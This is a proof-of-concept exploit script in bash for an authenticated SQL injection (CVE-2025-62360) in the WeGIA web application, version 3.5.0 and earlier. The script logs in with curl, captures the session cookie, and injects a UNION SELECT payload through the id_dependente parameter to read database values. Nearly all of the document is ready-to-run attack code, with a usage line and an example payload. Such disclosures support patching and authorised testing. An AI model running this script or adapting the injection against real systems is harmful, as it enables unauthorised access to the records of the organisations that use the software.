WeGIA 3.5.0 - SQL Injection

# Exploit Title: WeGIA 3.5.0 - SQL Injection
# Date: 2025-10-14
# Exploit Author: Onur Demir (OnurDemir-Dev)
# Vendor Homepage: https://www.wegia.org
# Software Link: https://github.com/LabRedesCefetRJ/WeGIA/
# Version: <=3.5.0
# Tested on: Local Linux (localhost/127.0.0.1)
# CVE : CVE-2025-62360
# Advisory / Reference: https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-mwvv-q9gh-gwxm
# Notes: Run this script ONLY on a local/test instance you own or are authorized to test.
# ============================================================

if [ -z "$4" ]; then
	# Usage prompt if required arguments are missing
	echo "Usage: $0 <target-url> <user> <password> <payload>"
	echo "Example: $0 http://127.0.0.1/WeGIA/ \"admin\" \"wegia\" \"version()\""
	exit 1
fi

url="$1"
user="$2"
pass="$3"
payload="$4"

# Check if URL format is valid (basic regex)
# This is a basic sanity check for the URL string format.
if ! [[ "$url" =~ ^http?://[a-zA-Z0-9._-]+ ]]; then
  echo "⚠️  Invalid URL format: $url"
  exit 1
fi

# Perform login request (multipart/form)
# -s silent, -w "%{http_code}" will append HTTP code to response
# -D - prints response headers to stdout, combined with body in login_response
login_response=$(curl -s -w "%{http_code}" "$url/html/login.php" \
  -D - \
  -X POST \
  -F "cpf=${user}"\
  -F "pwd=${pass}")

# Extract last 3 chars as HTTP status code from the combined response
login_status_code="${login_response: -3}"

# If login did not return a 302 redirect, handle error cases
if [ "$login_status_code" -ne 302 ]; then
	
	# If curl couldn't connect, curl may return 0 or empty status code
	if [ "$login_status_code" -eq 0 ] || [ -z "$login_status_code" ]; then
		echo "❌ Unable to reach URL: $url"
		exit 1
	fi
	
	# Otherwise report unexpected login status
	echo "Error: Received HTTP status code from login: $login_status_code"
	exit 1
fi

# Extract the Location header from the login response headers
# Using awk to find the first Location header (case-insensitive)
login_location=$(echo "$login_response" | awk -F': ' 'BEGIN{IGNORECASE=1} /^Location:/{print substr($0, index($0,$2)); exit}' | tr -d '\r')

# Check username and password correctness using Location header content
# If the Location does not include home.php, consider login failed.
if [[ "$login_location" != *"home.php"* ]]; then
	
	# If Location contains "erro" assume wrong credentials; otherwise unknown error
	if [[ "$login_location" == *"erro"* ]]; then
		echo "Error: Wrong username or password!"
	else
		echo "Error: Unknown Error!"
	fi
	
	exit 1
fi


# Extract Set-Cookie header (first cookie) and keep only "name=value"
# tr -d '\r' removes possible CR characters
set_cookie=$(echo "$login_response" | awk -F': ' 'BEGIN{IGNORECASE=1} /^Set-Cookie:/{print substr($0, index($0,$2)); exit}' | tr -d '\r')
set_cookie=$(echo "$set_cookie" | cut -d';' -f1)


#Exploit Vulnarbility
# (The following performs the SQL injection request using the cookie obtained above)
# The payload variable is used verbatim in the id_dependente parameter.
# Ensure payload is provided safely in the script invocation and that you are authorized to test.

# Execute the curl command and capture the output and status code
response=$(curl -s -w "%{http_code}" "$url/html/funcionario/dependente_documento.php" -d "id_dependente=1 UNION+SELECT 'a','b',$payload;#" -b "$set_cookie;" -H "Content-Type: application/x-www-form-urlencoded")

# Extract the HTTP status code (last 3 characters)
status_code="${response: -3}"


# Extract the body (everything except the last 3 characters)
body="${response:0:-3}"


# If the exploit request returned HTTP 200, try to extract id_doc
if [ "$status_code" -eq 200 ]; then

	# Prefer a robust JSON extractor if available; this line uses grep -Po to capture the id_doc value including quotes.
	# Note: This grep returns the quoted string (e.g. "11.8.3-MariaDB-1+b1 from Debian").
	clear_response=$(echo "$body" | grep -Po '"id_doc": *\K"[^"]*"')

	# Print the extracted value (or empty if not found)
	echo "$clear_response"
else
	# Non-200 status handling
	echo "Error: Received HTTP status code $status_code"
fi